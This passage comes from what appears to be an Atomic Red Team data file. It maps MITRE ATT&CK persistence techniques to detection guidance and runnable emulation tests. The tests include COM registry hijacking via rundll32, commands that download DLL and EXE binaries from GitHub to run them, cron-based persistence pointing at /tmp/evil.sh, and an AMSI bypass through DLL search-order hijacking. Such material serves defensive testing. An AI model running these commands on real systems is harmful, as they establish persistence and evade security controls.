        description: 'G DATA. (2014, October). COM Object hijacking: the discreet
          way of persistence. Retrieved August 13, 2016.'
        source_name: GDATA COM Hijacking
      - source_name: Elastic COM Hijacking
        description: 'Ewing, P. Strom, B. (2016, September 15). How to Hunt: Detecting
          Persistence & Evasion with the COM. Retrieved September 15, 2016.'
        url: https://www.elastic.co/blog/how-hunt-detecting-persistence-evasion-com
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Component Object Model Hijacking
      description: "Adversaries may establish persistence by executing malicious content
        triggered by hijacked references to Component Object Model (COM) objects.
        COM is a system within Windows to enable interaction between software components
        through the operating system.(Citation: Microsoft Component Object Model)
        \ References to various COM objects are stored in the Registry. \n\nAdversaries
        can use the COM system to insert malicious code that can be executed in place
        of legitimate software through hijacking the COM references and relationships
        as a means for persistence. Hijacking a COM object requires a change in the
        Registry to replace a reference to a legitimate system component which may
        cause that component to not work when executed. When that system component
        is executed through normal system operation the adversary's code will be executed
        instead.(Citation: GDATA COM Hijacking) An adversary is likely to hijack objects
        that are used frequently enough to maintain a consistent level of persistence,
        but are unlikely to break noticeable functionality within the system as to
        avoid system instability that could lead to detection. "
      id: attack-pattern--bc0f5e80-91c0-4e04-9fbb-e4e332c85dae
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      - kill_chain_name: mitre-attack
        phase_name: persistence
      modified: '2020-11-10T18:19:44.750Z'
      created: '2020-03-16T14:12:47.923Z'
      x_mitre_version: '1.0'
      x_mitre_is_subtechnique: true
      x_mitre_permissions_required:
      - User
      x_mitre_detection: "There are opportunities to detect COM hijacking by searching
        for Registry references that have been replaced and through Registry operations
        (ex: [Reg](https://attack.mitre.org/software/S0075)) replacing known binary
        paths with unknown paths or otherwise malicious content. Even though some
        third-party applications define user COM objects, the presence of objects
        within HKEY_CURRENT_USER\\Software\\Classes\\CLSID\\ may be anomalous and
        should be investigated since user objects will be loaded prior to machine
        objects in HKEY_LOCAL_MACHINE\\SOFTWARE\\Classes\\CLSID\\.(Citation: Elastic
        COM Hijacking) Registry entries for existing COM objects may change infrequently.
        When an entry with a known good path and binary is replaced or changed to
        an unusual value to point to an unknown binary in a new location, then it
        may indicate suspicious behavior and should be investigated.  \n\nLikewise,
        if software DLL loads are collected and analyzed, any unusual DLL load that
        can be correlated with a COM object Registry modification may indicate COM
        hijacking has been performed. "
      x_mitre_data_sources:
      - 'Process: Process Creation'
      - 'Windows Registry: Windows Registry Key Modification'
      - 'Command: Command Execution'
      - 'Module: Module Load'
      x_mitre_contributors:
      - Elastic
      x_mitre_platforms:
      - Windows
      identifier: T1546.015
    atomic_tests:
    - name: COM Hijacking - InprocServer32
      auto_generated_guid: 48117158-d7be-441b-bc6a-d9e36e47b52b
      description: |-
        This test uses PowerShell to hijack a reference to a Component Object Model by creating registry values under InprocServer32 key in the HKCU hive then calling the Class ID to be executed via rundll32.exe.

        Reference: https://bohops.com/2018/06/28/abusing-com-registry-structure-clsid-localserver32-inprocserver32/
      supported_platforms:
      - windows
      input_arguments:
        clsid_threading:
          description: Threading Model
          type: string
          default: Apartment
        dllpath:
          description: Path to the DLL.
          type: String
          default: "$env:TEMP\\AtomicTest.dll"
        clsid:
          description: Class ID to hijack.
          type: string
          default: "{B5F8350B-0548-48B1-A6EE-88BD00B4A5E7}"
        clsid_description:
          description: Description for CLSID
          type: string
          default: MSAA AccPropServices
      dependency_executor_name: powershell
      dependencies:
      - description: DLL For testing
        prereq_command: 'if (Test-Path #{dllpath}) {exit 0} else {exit 1}'
        get_prereq_command: Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1546.015/bin/AtomicTest.dll"
          -OutFile "#{dllpath}"
      executor:
        command: |-
          New-Item -Path 'HKCU:\SOFTWARE\Classes\CLSID\#{clsid}' -Value '#{clsid_description}'
          New-Item -Path 'HKCU:\SOFTWARE\Classes\CLSID\#{clsid}\InprocServer32' -Value #{dllpath}
          New-ItemProperty -Path 'HKCU:\SOFTWARE\Classes\CLSID\#{clsid}\InprocServer32' -Name 'ThreadingModel' -Value '#{clsid_threading}' -PropertyType "String"
          Start-Process -FilePath "C:\Windows\System32\RUNDLL32.EXE" -ArgumentList '-sta #{clsid}'
        cleanup_command: Remove-Item -Path 'HKCU:\SOFTWARE\Classes\CLSID\#{clsid}'
          -Recurse -ErrorAction Ignore
        name: powershell
  T1554:
    technique:
      created: '2020-02-11T18:18:34.279Z'
      modified: '2020-03-27T14:49:58.249Z'
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: persistence
      type: attack-pattern
      external_references:
      - source_name: mitre-attack
        external_id: T1554
        url: https://attack.mitre.org/techniques/T1554
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Compromise Client Software Binary
      description: |-
        Adversaries may modify client software binaries to establish persistent access to systems. Client software enables users to access services provided by a server. Common client software types are SSH clients, FTP clients, email clients, and web browsers.

        Adversaries may make modifications to client software binaries to carry out malicious tasks when those applications are in use. For example, an adversary may copy source code for the client software, add a backdoor, compile for the target, and replace the legitimate application binary (or support files) with the backdoored one. Since these applications may be routinely executed by the user, the adversary can leverage this for persistent access to the host.
      id: attack-pattern--960c3c86-1480-4d72-b4e0-8c242e84a5c5
      x_mitre_version: '1.0'
      x_mitre_is_subtechnique: false
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      x_mitre_detection: "Collect and analyze signing certificate metadata and check
        signature validity on software that executes within the environment. Look
        for changes to client software that do not correlate with known software or
        patch cycles. \n\nConsider monitoring for anomalous behavior from client applications,
        such as atypical module loads, file reads/writes, or network connections."
      x_mitre_data_sources:
      - 'File: File Modification'
      - 'File: File Creation'
      - 'File: File Deletion'
      - 'File: File Metadata'
      x_mitre_contributors:
      - CrowdStrike Falcon OverWatch
    atomic_tests: []
  T1053.007:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1053.007
        url: https://attack.mitre.org/techniques/T1053/007
      - source_name: Kubernetes Jobs
        url: https://kubernetes.io/docs/concepts/workloads/controllers/job/
        description: The Kubernetes Authors. (n.d.). Kubernetes Jobs. Retrieved March
          30, 2021.
      - source_name: Kubernetes CronJob
        url: https://kubernetes.io/docs/concepts/workloads/controllers/cron-jobs/
        description: The Kubernetes Authors. (n.d.). Kubernetes CronJob. Retrieved
          March 29, 2021.
      - source_name: Threat Matrix for Kubernetes
        url: https://www.microsoft.com/security/blog/2020/04/02/attack-matrix-kubernetes/
        description: Weizman, Y. (2020, April 2). Threat Matrix for Kubernetes. Retrieved
          March 30, 2021.
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Container Orchestration Job
      description: |-
        Adversaries may abuse task scheduling functionality provided by container orchestration tools such as Kubernetes to schedule deployment of containers configured to execute malicious code. Container orchestration jobs run these automated tasks at a specific date and time, similar to cron jobs on a Linux system. Deployments of this type can also be configured to maintain a quantity of containers over time, automating the process of maintaining persistence within a cluster.

        In Kubernetes, a CronJob may be used to schedule a Job that runs one or more containers to perform specific tasks.(Citation: Kubernetes Jobs)(Citation: Kubernetes CronJob) An adversary therefore may utilize a CronJob to schedule deployment of a Job that executes malicious code in the cluster.(Citation: Threat Matrix for Kubernetes)
      id: attack-pattern--1126cab1-c700-412f-a510-61f4937bb096
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: execution
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      modified: '2021-04-12T18:09:46.821Z'
      created: '2021-03-29T17:06:22.247Z'
      x_mitre_version: '1.0'
      x_mitre_is_subtechnique: true
      x_mitre_permissions_required:
      - User
      x_mitre_detection: 'Monitor for the anomalous creation of scheduled jobs in
        container orchestration environments. Use logging agents on Kubernetes nodes
        and retrieve logs from sidecar proxies for application and resource pods to
        monitor malicious container orchestration job deployments. '
      x_mitre_contributors:
      - Center for Threat-Informed Defense (CTID)
      - Vishwas Manral, McAfee
      - Yossi Weizman, Azure Defender Research Team
      x_mitre_platforms:
      - Containers
      x_mitre_data_sources:
      - 'Scheduled Job: Scheduled Job Creation'
      - 'Container: Container Creation'
      - 'File: File Creation'
      identifier: T1053.007
    atomic_tests:
    - name: ListCronjobs
      auto_generated_guid: ddfb0bc1-3c3f-47e9-a298-550ecfefacbd
      description: 'Kubernetes Job is a controller that creates one or more pods and
        ensures that a specified number of them successfully terminate. Kubernetes
        Job can be used to run containers that perform finite tasks for batch jobs.
        Kubernetes CronJob is used to schedule Jobs. Attackers may use Kubernetes
        CronJob for scheduling execution of malicious code that would run as a container
        in the cluster.

'
      supported_platforms:
      - containers
      input_arguments:
        namespace:
          description: K8s namespace to list
          type: String
          default: default
      dependencies:
      - description: 'kubectl must be installed

'
        get_prereq_command: 'echo "kubectl must be installed manually"

'
        prereq_command: 'which kubectl

'
      executor:
        command: 'kubectl get cronjobs -n #{namespace}

'
        name: bash
        elevation_required: false
    - name: CreateCronjob
      auto_generated_guid: f2fa019e-fb2a-4d28-9dc6-fd1a9b7f68c3
      description: 'Kubernetes Job is a controller that creates one or more pods and
        ensures that a specified number of them successfully terminate. Kubernetes
        Job can be used to run containers that perform finite tasks for batch jobs.
        Kubernetes CronJob is used to schedule Jobs. Attackers may use Kubernetes
        CronJob for scheduling execution of malicious code that would run as a container
        in the cluster.

'
      supported_platforms:
      - containers
      input_arguments:
        namespace:
          description: K8s namespace to list
          type: String
          default: default
      dependencies:
      - description: 'kubectl must be installed

'
        get_prereq_command: 'echo "kubectl must be installed manually"

'
        prereq_command: 'which kubectl

'
      executor:
        command: 'kubectl create -f src/cronjob.yaml -n #{namespace}

'
        cleanup_command: 'kubectl delete cronjob art -n #{namespace}

'
        name: bash
        elevation_required: false
  T1136:
    technique:
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      external_references:
      - source_name: mitre-attack
        external_id: T1136
        url: https://attack.mitre.org/techniques/T1136
      - source_name: Microsoft User Creation Event
        description: 'Lich, B., Miroshnikov, A. (2017, April 5). 4720(S): A user account
          was created. Retrieved June 30, 2017.'
        url: https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4720
      description: |-
        Adversaries may create an account to maintain access to victim systems. With a sufficient level of access, creating such accounts may be used to establish secondary credentialed access that do not require persistent remote access tools to be deployed on the system.

        Accounts may be created on the local system or within a domain or cloud tenant. In cloud environments, adversaries may create accounts that only have access to specific services, which can reduce the chance of detection.
      name: Create Account
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      id: attack-pattern--e01be9c5-e763-4caf-aeb7-000b416aef67
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: persistence
      modified: '2021-03-16T12:47:00.458Z'
      created: '2017-12-14T16:46:06.044Z'
      x_mitre_is_subtechnique: false
      x_mitre_contributors:
      - Microsoft Threat Intelligence Center (MSTIC)
      - Praetorian
      x_mitre_version: '2.2'
      x_mitre_data_sources:
      - 'User Account: User Account Creation'
      - 'Process: Process Creation'
      - 'Command: Command Execution'
      x_mitre_detection: |-
        Monitor for processes and command-line parameters associated with account creation, such as <code>net user</code> or <code>useradd</code>. Collect data on account creation within a network. Event ID 4720 is generated when a user account is created on a Windows system and domain controller. (Citation: Microsoft User Creation Event) Perform regular audits of domain and local system accounts to detect suspicious accounts that may have been created by an adversary.

        Collect usage logs from cloud administrator accounts to identify unusual activity in the creation of new accounts and assignment of roles to those accounts. Monitor for accounts assigned to admin roles that go over a certain threshold of known admins.
      x_mitre_platforms:
      - Windows
      - Azure AD
      - Office 365
      - IaaS
      - Linux
      - macOS
      - Google Workspace
      x_mitre_permissions_required:
      - Administrator
    atomic_tests: []
  T1543:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1543
        url: https://attack.mitre.org/techniques/T1543
      - url: https://technet.microsoft.com/en-us/library/cc772408.aspx
        description: Microsoft. (n.d.). Services. Retrieved June 7, 2016.
        source_name: TechNet Services
      - url: https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html
        description: Apple. (n.d.). Creating Launch Daemons and Agents. Retrieved
          July 10, 2017.
        source_name: AppleDocs Launch Agent Daemons
      - url: https://www.synack.com/wp-content/uploads/2016/03/RSA_OSX_Malware.pdf
        description: 'Patrick Wardle. (2016, February 29). Let''s Play Doctor: Practical
          OS X Malware Detection & Analysis. Retrieved July 10, 2017.'
        source_name: OSX Malware Detection
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Create or Modify System Process
      description: "Adversaries may create or modify system-level processes to repeatedly
        execute malicious payloads as part of persistence. When operating systems
        boot up, they can start processes that perform background system functions.
        On Windows and Linux, these system processes are referred to as services.
        (Citation: TechNet Services) On macOS, launchd processes known as [Launch
        Daemon](https://attack.mitre.org/techniques/T1543/004) and [Launch Agent](https://attack.mitre.org/techniques/T1543/001)
        are run to finish system initialization and load user specific parameters.(Citation:
        AppleDocs Launch Agent Daemons) \n\nAdversaries may install new services,
        daemons, or agents that can be configured to execute at startup or a repeatable
        interval in order to establish persistence. Similarly, adversaries may modify
        existing services, daemons, or agents to achieve the same effect.  \n\nServices,
        daemons, or agents may be created with administrator privileges but executed
        under root/SYSTEM privileges. Adversaries may leverage this functionality
        to create or modify system processes in order to escalate privileges. (Citation:
        OSX Malware Detection).  "
      id: attack-pattern--106c0cf6-bf73-4601-9aa8-0945c2715ec5
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      modified: '2020-10-09T13:46:29.922Z'
      created: '2020-01-10T16:03:18.865Z'
      x_mitre_data_sources:
      - 'Service: Service Creation'
      - 'Service: Service Modification'
      - 'Process: Process Creation'
      - 'Process: OS API Execution'
      - 'Command: Command Execution'
      - 'Windows Registry: Windows Registry Key Creation'
      - 'Windows Registry: Windows Registry Key Modification'
      - 'File: File Creation'
      - 'File: File Modification'
      x_mitre_version: '1.0'
      x_mitre_is_subtechnique: false
      x_mitre_detection: "Monitor for changes to system processes that do not correlate
        with known software, patch cycles, etc., including by comparing results against
        a trusted system baseline. New, benign system processes may be created during
        installation of new software. Data and events should not be viewed in isolation,
        but as part of a chain of behavior that could lead to other activities, such
        as network connections made for Command and Control, learning details about
        the environment through Discovery, and Lateral Movement.  \n\nCommand-line
        invocation of tools capable of modifying services may be unusual, depending
        on how systems are typically used in a particular environment. Look for abnormal
        process call trees from known services and for execution of other commands
        that could relate to Discovery or other adversary techniques. \n\nMonitor
        for changes to files associated with system-level processes."
      x_mitre_platforms:
      - Windows
      - macOS
      - Linux
    atomic_tests: []
  T1053.003:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1053.003
        url: https://attack.mitre.org/techniques/T1053/003
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Cron
      description: |-
        Adversaries may abuse the <code>cron</code> utility to perform task scheduling for initial or recurring execution of malicious code. The <code>cron</code> utility is a time-based job scheduler for Unix-like operating systems.  The <code> crontab</code> file contains the schedule of cron entries to be run and the specified times for execution. Any <code>crontab</code> files are stored in operating system-specific file paths.

        An adversary may use <code>cron</code> in Linux or Unix environments to execute programs at system startup or on a scheduled basis for persistence. <code>cron</code> can also be abused to conduct remote Execution as part of Lateral Movement and or to run a process under the context of a specified account.
      id: attack-pattern--2acf44aa-542f-4366-b4eb-55ef5747759c
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: execution
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      modified: '2020-03-23T23:30:46.546Z'
      created: '2019-12-03T14:25:00.538Z'
      x_mitre_version: '1.0'
      x_mitre_is_subtechnique: true
      x_mitre_remote_support: false
      x_mitre_permissions_required:
      - User
      x_mitre_detection: "Monitor scheduled task creation from common utilities using
        command-line invocation. Legitimate scheduled tasks may be created during
        installation of new software or through system administration functions. Look
        for changes to tasks that do not correlate with known software, patch cycles,
        etc.  \n\nSuspicious program execution through scheduled tasks may show up
        as outlier processes that have not been seen before when compared against
        historical data. Data and events should not be viewed in isolation, but as
        part of a chain of behavior that could lead to other activities, such as network
        connections made for Command and Control, learning details about the environment
        through Discovery, and Lateral Movement. "
      x_mitre_data_sources:
      - 'Scheduled Job: Scheduled Job Creation'
      - 'Command: Command Execution'
      - 'File: File Modification'
      - 'Process: Process Creation'
      x_mitre_platforms:
      - Linux
      - macOS
      identifier: T1053.003
    atomic_tests:
    - name: Cron - Replace crontab with referenced file
      auto_generated_guid: 435057fb-74b1-410e-9403-d81baf194f75
      description: 'This test replaces the current user''s crontab file with the contents
        of the referenced file. This technique was used by numerous IoT automated
        exploitation attacks.

'
      supported_platforms:
      - macos
      - linux
      input_arguments:
        command:
          description: Command to execute
          type: String
          default: "/tmp/evil.sh"
        tmp_cron:
          description: Temporary reference file to hold evil cron schedule
          type: Path
          default: "/tmp/persistevil"
      executor:
        name: bash
        command: |
          crontab -l > /tmp/notevil
          echo "* * * * * #{command}" > #{tmp_cron} && crontab #{tmp_cron}
        cleanup_command: 'crontab /tmp/notevil

'
    - name: Cron - Add script to all cron subfolders
      auto_generated_guid: b7d42afa-9086-4c8a-b7b0-8ea3faa6ebb0
      description: 'This test adds a script to /etc/cron.hourly, /etc/cron.daily,
        /etc/cron.monthly and /etc/cron.weekly folders configured to execute on a
        schedule. This technique was used by the threat actor Rocke during the exploitation
        of Linux web servers.

'
      supported_platforms:
      - macos
      - linux
      input_arguments:
        command:
          description: Command to execute
          type: String
          default: echo 'Hello from Atomic Red Team' > /tmp/atomic.log
        cron_script_name:
          description: Name of file to store in cron folder
          type: String
          default: persistevil
      executor:
        elevation_required: true
        name: bash
        command: |
          echo "#{command}" > /etc/cron.daily/#{cron_script_name}
          echo "#{command}" > /etc/cron.hourly/#{cron_script_name}
          echo "#{command}" > /etc/cron.monthly/#{cron_script_name}
          echo "#{command}" > /etc/cron.weekly/#{cron_script_name}
        cleanup_command: |
          rm /etc/cron.daily/#{cron_script_name}
          rm /etc/cron.hourly/#{cron_script_name}
          rm /etc/cron.monthly/#{cron_script_name}
          rm /etc/cron.weekly/#{cron_script_name}
    - name: Cron - Add script to /var/spool/cron/crontabs/ folder
      auto_generated_guid: 2d943c18-e74a-44bf-936f-25ade6cccab4
      description: 'This test adds a script to a /var/spool/cron/crontabs folder configured
        to execute on a schedule. This technique was used by the threat actor Rocke
        during the exploitation of Linux web servers.

'
      supported_platforms:
      - linux
      input_arguments:
        command:
          description: Command to execute
          type: String
          default: echo 'Hello from Atomic Red Team' > /tmp/atomic.log
        cron_script_name:
          description: Name of file to store in /var/spool/cron/crontabs folder
          type: String
          default: persistevil
      executor:
        elevation_required: true
        name: bash
        command: 'echo "#{command}" >> /var/spool/cron/crontabs/#{cron_script_name}

'
        cleanup_command: 'rm /var/spool/cron/crontabs/#{cron_script_name}

'
  T1574.001:
    technique:
      id: attack-pattern--2fee9321-3e71-4cf4-af24-d4d40d355b34
      description: |-
        Adversaries may execute their own malicious payloads by hijacking the search order used to load DLLs. Windows systems use a common method to look for required DLLs to load into a program. (Citation: Microsoft Dynamic Link Library Search Order)(Citation: FireEye Hijacking July 2010) Hijacking DLL loads may be for the purpose of establishing persistence as well as elevating privileges and/or evading restrictions on file execution.

        There are many ways an adversary can hijack DLL loads. Adversaries may plant trojan dynamic-link library files (DLLs) in a directory that will be searched before the location of a legitimate library that will be requested by a program, causing Windows to load their malicious library when it is called for by the victim program. Adversaries may also perform DLL preloading, also called binary planting attacks, (Citation: OWASP Binary Planting) by placing a malicious DLL with the same name as an ambiguously specified DLL in a location that Windows searches before the legitimate DLL. Often this location is the current working directory of the program.(Citation: FireEye fxsst June 2011) Remote DLL preloading attacks occur when a program sets its current directory to a remote location such as a Web share before loading a DLL. (Citation: Microsoft Security Advisory 2269637)

        Adversaries may also directly modify the search order via DLL redirection, which after being enabled (in the Registry and creation of a redirection file) may cause a program to load a different DLL.(Citation: Microsoft Dynamic-Link Library Redirection)(Citation: Microsoft Manifests)(Citation: FireEye DLL Search Order Hijacking)

        If a search order-vulnerable program is configured to run at a higher privilege level, then the adversary-controlled DLL that is loaded will also be executed at the higher level. In this case, the technique could be used for privilege escalation from user to administrator or SYSTEM or from administrator to SYSTEM, depending on the program. Programs that fall victim to path hijacking may appear to behave normally because malicious DLLs may be configured to also load the legitimate DLLs they were meant to replace.
      name: DLL Search Order Hijacking
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      external_references:
      - source_name: mitre-attack
        external_id: T1574.001
        url: https://attack.mitre.org/techniques/T1574/001
      - external_id: CAPEC-471
        source_name: capec
        url: https://capec.mitre.org/data/definitions/471.html
      - source_name: Microsoft Dynamic Link Library Search Order
        url: https://docs.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-search-order?redirectedfrom=MSDN
        description: Microsoft. (2018, May 31). Dynamic-Link Library Search Order.
          Retrieved November 30, 2014.
      - source_name: FireEye Hijacking July 2010
        url: https://www.fireeye.com/blog/threat-research/2010/07/malware-persistence-windows-registry.html
        description: Harbour, N. (2010, July 15). Malware Persistence without the
          Windows Registry. Retrieved November 17, 2020.
      - source_name: OWASP Binary Planting
        description: OWASP. (2013, January 30). Binary planting. Retrieved June 7,
          2016.
        url: https://www.owasp.org/index.php/Binary_planting
      - source_name: FireEye fxsst June 2011
        url: https://www.fireeye.com/blog/threat-research/2011/06/fxsst.html
        description: Harbour, N. (2011, June 3). What the fxsst?. Retrieved November
          17, 2020.
      - source_name: Microsoft Security Advisory 2269637
        url: https://docs.microsoft.com/en-us/security-updates/securityadvisories/2010/2269637
        description: Microsoft. (, May 23). Microsoft Security Advisory 2269637. Retrieved
          March 13, 2020.
      - source_name: Microsoft Dynamic-Link Library Redirection
        url: https://docs.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-redirection?redirectedfrom=MSDN
        description: Microsoft. (2018, May 31). Dynamic-Link Library Redirection.
          Retrieved March 13, 2020.
      - source_name: Microsoft Manifests
        description: Microsoft. (n.d.). Manifests. Retrieved December 5, 2014.
        url: https://msdn.microsoft.com/en-US/library/aa375365
      - source_name: FireEye DLL Search Order Hijacking
        url: https://www.fireeye.com/blog/threat-research/2010/08/dll-search-order-hijacking-revisited.html
        description: Nick Harbour. (2010, September 1). DLL Search Order Hijacking
          Revisited. Retrieved March 13, 2020.
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      modified: '2021-04-26T18:37:03.748Z'
      created: '2020-03-13T18:11:08.357Z'
      x_mitre_platforms:
      - Windows
      x_mitre_contributors:
      - Travis Smith, Tripwire
      - Stefan Kanthak
      x_mitre_data_sources:
      - 'File: File Creation'
      - 'File: File Modification'
      - 'Module: Module Load'
      x_mitre_detection: Monitor file systems for moving, renaming, replacing, or
        modifying DLLs. Changes in the set of DLLs that are loaded by a process (compared
        with past behavior) that do not correlate with known software, patches, etc.,
        are suspicious. Monitor DLLs loaded into a process and detect DLLs that have
        the same file name but abnormal paths. Modifications to or creation of `.manifest`
        and `.local` redirection files that do not correlate with software updates
        are suspicious.
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.1'
      identifier: T1574.001
    atomic_tests:
    - name: DLL Search Order Hijacking - amsi.dll
      auto_generated_guid: 8549ad4b-b5df-4a2d-a3d7-2aee9e7052a3
      description: |
        Adversaries can take advantage of insecure library loading by PowerShell to load a vulnerable version of amsi.dll in order to bypass AMSI (Anti-Malware Scanning Interface)
        https://enigma0x3.net/2017/07/19/bypassing-amsi-via-com-server-hijacking/

        Upon successful execution, powershell.exe will be copied and renamed to updater.exe and load amsi.dll from a non-standard path.
      supported_platforms:
      - windows
      executor:
        command: |
          copy %windir%\System32\windowspowershell\v1.0\powershell.exe %APPDATA%\updater.exe
          copy %windir%\System32\amsi.dll %APPDATA%\amsi.dll
          %APPDATA%\updater.exe -Command exit
        cleanup_command: |
          del %APPDATA%\updater.exe >nul 2>&1
          del %APPDATA%\amsi.dll >nul 2>&1
        name: command_prompt
        elevation_required: true
  T1574.002:
    technique:
      created: '2020-03-13T19:41:37.908Z'
      modified: '2021-04-26T18:31:34.954Z'
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      type: attack-pattern
      external_references:
      - source_name: mitre-attack
        external_id: T1574.002
        url: https://attack.mitre.org/techniques/T1574/002
      - external_id: CAPEC-641
        source_name: capec
        url: https://capec.mitre.org/data/definitions/641.html
      - source_name: FireEye DLL Side-Loading
        url: https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-dll-sideloading.pdf
        description: 'Amanda Steward. (2014). FireEye DLL Side-Loading: A Thorn in
          the Side of the Anti-Virus Industry. Retrieved March 13, 2020.'
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: DLL Side-Loading
      description: |-
        Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1574/001), side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).

        Side-loading takes advantage of the DLL search order used by the loader by positioning both the victim application and malicious payload(s) alongside each other. Adversaries likely use side-loading as a means of masking actions they perform under a legitimate, trusted, and potentially elevated system or software process. Benign executables used to side-load payloads may not be flagged during delivery and/or execution. Adversary payloads may also be encrypted/packed or otherwise obfuscated until loaded into the memory of the trusted process.(Citation: FireEye DLL Side-Loading)
      id: attack-pattern--e64c62cf-9cd7-4a14-94ec-cdaac43ab44b
      x_mitre_defense_bypassed:
      - Anti-virus
      - Application control
      x_mitre_version: '2.0'
      x_mitre_is_subtechnique: true
      x_mitre_detection: Monitor processes for unusual activity (e.g., a process that
        does not use the network begins to do so) as well as the introduction of new
        files/programs. Track DLL metadata, such as a hash, and compare DLLs that
        are loaded at process execution time against previous executions to detect
        differences that do not correlate with patching or updates.
      x_mitre_data_sources:
      - 'File: File Creation'
      - 'File: File Modification'
      - 'Module: Module Load'
      - 'Process: Process Creation'
      x_mitre_platforms:
      - Windows
      identifier: T1574.002
    atomic_tests:
    - name: DLL Side-Loading using the Notepad++ GUP.exe binary
      auto_generated_guid: 65526037-7079-44a9-bda1-2cb624838040
      description: |
        GUP is an open source signed binary used by Notepad++ for software updates, and is vulnerable to DLL Side-Loading, thus enabling the libcurl dll to be loaded.
        Upon execution, calc.exe will be opened.
      supported_platforms:
      - windows
      input_arguments:
        process_name:
          description: Name of the created process
          type: String
          default: calculator.exe
        gup_executable:
          description: GUP is an open source signed binary used by Notepad++ for software
            updates
          type: Path
          default: PathToAtomicsFolder\T1574.002\bin\GUP.exe
      dependency_executor_name: powershell
      dependencies:
      - description: 'Gup.exe binary must exist on disk at specified location (#{gup_executable})

'
        prereq_command: 'if (Test-Path #{gup_executable}) {exit 0} else {exit 1}

'
        get_prereq_command: |
          New-Item -Type Directory (split-path #{gup_executable}) -ErrorAction ignore | Out-Null
          Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1574.002/bin/GUP.exe?raw=true" -OutFile "#{gup_executable}"
      executor:
        command: "#{gup_executable}\n"
        cleanup_command: 'taskkill /F /IM #{process_name} >nul 2>&1

'
        name: command_prompt
  T1078.001:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1078.001
        url: https://attack.mitre.org/techniques/T1078/001
      - external_id: CAPEC-70
        source_name: capec
        url: https://capec.mitre.org/data/definitions/70.html
      - source_name: Microsoft Local Accounts Feb 2019
        url: https://docs.microsoft.com/en-us/windows/security/identity-protection/access-control/local-accounts
        description: Microsoft. (2018, December 9). Local Accounts. Retrieved February
          11, 2019.
      - source_name: AWS Root User
        url: https://docs.aws.amazon.com/IAM/latest/UserGuide/id_root-user.html
        description: Amazon. (n.d.). AWS Account Root User. Retrieved April 5, 2021.
      - source_name: Threat Matrix for Kubernetes
        url: https://www.microsoft.com/security/blog/2020/04/02/attack-matrix-kubernetes/
        description: Weizman, Y. (2020, April 2). Threat Matrix for Kubernetes. Retrieved
          March 30, 2021.
      - source_name: Metasploit SSH Module
        url: https://github.com/rapid7/metasploit-framework/tree/master/modules/exploits/linux/ssh
        description: Metasploit. (n.d.). Retrieved April 12, 2019.
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Default Accounts
      description: |-
